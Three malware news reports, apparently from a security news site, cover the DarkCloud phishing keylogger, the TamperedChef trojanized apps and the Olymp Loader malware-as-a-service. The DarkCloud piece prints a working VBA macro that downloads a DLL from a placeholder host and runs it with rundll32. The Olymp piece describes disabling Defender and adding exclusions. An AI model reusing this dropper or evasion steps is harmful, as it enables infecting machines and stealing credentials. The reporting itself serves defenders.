A newly observed spear-phishing campaign is leveraging sophisticated social engineering lures to distribute DarkCloud, a modular malware suite designed to harvest keystrokes, exfiltrate FTP credentials and gather system information.

Over the past month, targeted emails masquerading as legitimate software updates or corporate invoices have reached unsuspecting recipients across various industries.

These messages carry a weaponized Microsoft Word attachment that, when opened, triggers a multi-stage infection chain.

Initial reconnaissance indicates that threat actors behind the campaign have invested considerable effort into crafting believable messages, demonstrating a high level of operational security and tradecraft.

Shortly after the victim enables macros in the document, a hidden Visual Basic for Applications (VBA) script executes, reaching out to a command-and-control (C2) server to download the next-stage payload.

This payload, the DarkCloud loader, is capable of unpacking additional modules directly into memory, evading disk-based detection and complicating forensic analysis.

Analysts note that the loader checks for virtual machine artifacts and sandboxing environments, delaying execution or aborting if analysis tools are detected.

eSentire researchers identified DarkCloud’s core keylogging component within hours of the campaign’s initial detection.

They observed the malware injecting a dynamic-link library into common processes such as explorer.exe and svchost.exe, establishing hooks on keystroke APIs to capture user input.

This approach ensures that every typed character—including credentials entered into web-based FTP clients—can be intercepted.

The harvested data is then encrypted with a custom XOR-based algorithm and sent to the C2 infrastructure under the guise of legitimate HTTPS traffic, blending in with normal network flows.

Aside from credential theft, DarkCloud exhibits advanced reconnaissance capabilities. It gathers system information—such as running processes, installed software, and open network connections—and transmits this metadata back to the attackers.

This enrichment allows the operators to tailor subsequent modules, such as a remote file exfiltration plugin or a screen-capture component, to the victim’s environment.

Throughout the campaign, the threat actors pivot between modules to maximize data collection while minimizing forensic footprints.

Infection Mechanism and Loader Dynamics

The infection sequence begins with a lure document containing an obfuscated VBA macro. Upon activation, the macro executes the following sequence:-

Sub AutoOpen()
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject("MSXML2.XMLHTTP")
    xmlHttp.Open "GET", "https://malicious.example.com/loader.bin", False
    xmlHttp.send
    Dim shell As Object
    Set shell = CreateObject("WScript.Shell")
    Dim tempPath As String
    tempPath = Environ("TEMP") & "\dcl.dll"
    With CreateObject("ADODB.Stream")
        .Type = 1
        .Open
        .Write xmlHttp.responseBody
        .SaveToFile tempPath, 2
        .Close
    End With
    shell.Run "rundll32.exe " & tempPath & ",EntryPoint"
End Sub

Once dcl.dll is loaded, it unpacks additional modules in memory. The loader uses a custom “chunked XOR” routine to decrypt embedded payloads, avoiding dropping executables on disk.

This memory-resident design allows DarkCloud to maintain persistence via a registry run key, while its modular architecture supports on-demand deployment of new capabilities.

By combining a convincing spear-phishing vector with a stealthy, in-memory loader and modular plugins, DarkCloud poses a significant threat to organizations that rely on FTP-based file transfers and unified endpoint protection solutions.

Security teams should monitor abnormal HTTPS sessions to unknown hosts and employ behavioral analysis tools capable of detecting API hook injections. Continuous threat intelligence sharing and rapid incident response will be critical to mitigating DarkCloud’s evolving tactics.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Spear-Phishing Attack Delivers DarkCloud Malware to Steal Keystrokes, FTP Credentials and Others appeared first on Cyber Security News.

A sophisticated malware campaign has emerged that weaponizes seemingly legitimate productivity tools to infiltrate systems and steal sensitive information.

The TamperedChef malware represents a concerning evolution in threat actor tactics, utilizing trojanized applications disguised as calendar tools and image viewers to bypass traditional security defenses.

This campaign demonstrates how cybercriminals increasingly exploit user trust in digitally signed software to facilitate initial access and establish persistent footholds within targeted environments.

The malware campaign centers around two primary applications: Calendaromatic.exe and ImageLooker.exe, both masquerading as benign productivity software while harboring malicious capabilities.

These applications are distributed through self-extracting 7-Zip archives that exploit CVE-2025-0411 to evade Windows’ Mark of the Web protections, allowing them to execute without triggering SmartScreen warnings or other reputation-based security controls.

The campaign leverages deceptive advertising and search engine optimization techniques to direct victims toward malicious downloads, often targeting users searching for free productivity utilities.

Field Effect analysts identified the campaign on September 22, 2025, during routine analysis of a potentially unwanted application flagged by Microsoft Defender.

Their investigation revealed a broader distribution network involving multiple suspicious signing publishers and command-and-control infrastructure.

The researchers discovered that both malicious applications were digitally signed by entities including CROWN SKY LLC and LIMITED LIABILITY COMPANY APPSOLUTE, providing a veneer of legitimacy that helps bypass user suspicion and endpoint defenses.

The malware’s impact extends beyond simple data theft, as it establishes comprehensive system compromise through browser hijacking, credential harvesting, and persistent backdoor access.

TamperedChef demonstrates particular sophistication in its ability to exfiltrate browser-stored credentials and session information while simultaneously redirecting web traffic and altering browser settings to facilitate ongoing malicious activities.

Advanced Evasion Through Unicode Encoding and Framework Exploitation

The TamperedChef campaign showcases remarkable technical sophistication through its exploitation of modern application frameworks and advanced encoding techniques.

Both Calendaromatic.exe and ImageLooker.exe are built using NeutralinoJS, a lightweight desktop framework that enables the execution of arbitrary JavaScript code within native applications.

This framework choice allows the malware to seamlessly interact with system APIs while maintaining the appearance of legitimate desktop software.

The malware employs Unicode homoglyphs as a primary evasion mechanism, encoding malicious payloads within seemingly benign API responses.

This technique enables the malware to bypass traditional string-based detection systems and signature matching algorithms that security products rely upon for identification.

When executed, the malware decodes these hidden payloads and executes them through the NeutralinoJS runtime, effectively creating a covert execution channel that operates beneath the radar of conventional monitoring systems.

Persistence mechanisms include the creation of scheduled tasks and registry modifications using specific command-line flags such as --install, --enableupdate, and --fullupdate.

Upon successful installation, the malware establishes immediate communication with command-and-control servers including calendaromatic[.]com and movementxview[.]com, enabling remote operators to issue commands and exfiltrate collected data.

The network communication occurs through encrypted channels that further complicate detection and analysis efforts by security teams.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New TamperedChef Malware Leverages Productivity Tools to Gain Access and Exfiltrate Sensitive Data appeared first on Cyber Security News.

The cybersecurity community is currently observing a surge in interest around Olymp Loader, a recently unveiled Malware-as-a-Service (MaaS) platform written entirely in Assembly.

First advertised on underground forums and Telegram channels in early June 2025, Olymp Loader has rapidly evolved from a rudimentary botnet concept into a sophisticated loader and crypter suite.

Its author, operating under the alias OLYMPO, touts the service as Fully UnDetectable (FUD), claiming that its advanced design can bypass modern antivirus engines and evade machine-learning–based heuristics.

Early adopters praise its modular architecture, which integrates credential stealers, crypters, and privilege escalation mechanisms.

Research indicates that the threat actor behind OLYMPO is a small team with extensive Assembly programming expertise.

As reported on HackForums and other underground venues, they have implemented features such as deep XOR encryption for payload modules, UAC‐Flood privilege escalation, and automatic Windows Defender exclusions.

On August 5, 2025, OLYMPO announced pricing tiers ranging from a basic stub at USD 50 to a fully customized injection service at USD 200, with all packages including a “Defender-way” bypass, Defender-removal module, and automatic certificate signing to lend samples a veneer of legitimacy.

Outpost24 analysts identified multiple instances of Olymp Loader in the wild, often masquerading as legitimate software.

For example, binaries named NodeJs[.]exe were distributed via GitHub Releases under the repository PurpleOrchid65Testing, exploiting developer trust in Node.js executables.

In other cases, the loader was delivered as fake installers for OpenSSL, Zoom, PuTTY, and CapCut, even borrowing official icons and certificates from known applications to trick victims.

Infection Mechanism and Persistence

Upon execution, Olymp Loader initiates a multi‐stage process to establish persistence and disable defenses.

Initial samples observed in June employed a simple batch script: copying the executable to the user’s AppData directory and spawning a cmd[.]exe process to run a timeout command, followed by re‐execution from the new location.

A PowerShell script was then launched to create an entry in the StartUp folder, ensuring the loader runs on each system boot.

By early August, this workflow was augmented with a Defender Remover module, publicly available on GitHub, which executes PowerRun[.]exe and a RemoveSecHealthApp[.]ps1 script to terminate Defender services before adding exhaustive exclusion paths (APPDATA, LOCALAPPDATA, Desktop, StartMenu, and more) via Add-MpPreference.

The loader’s shellcode component leverages the LoadPE method for code‐cave–based injection into legitimate processes, supporting 32‐bit, 64‐bit, .NET, and Java payloads.

Unique shellcode initialization routines further obfuscate the loader’s purpose, while a custom certificate signing feature signs both the stub and modules, complicating detection by reputation‐based systems.

This combination of script‐based persistence, injection techniques, and automatic certificate signing marks a significant advancement in MaaS offerings, lowering the entry barrier for mid‐level cybercriminals and amplifying attack volumes across enterprises and developers alike.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Malware-as-a-Service Olymp Loader Promises Defender-Bypass With Automatic Certificate Signing appeared first on Cyber Security News.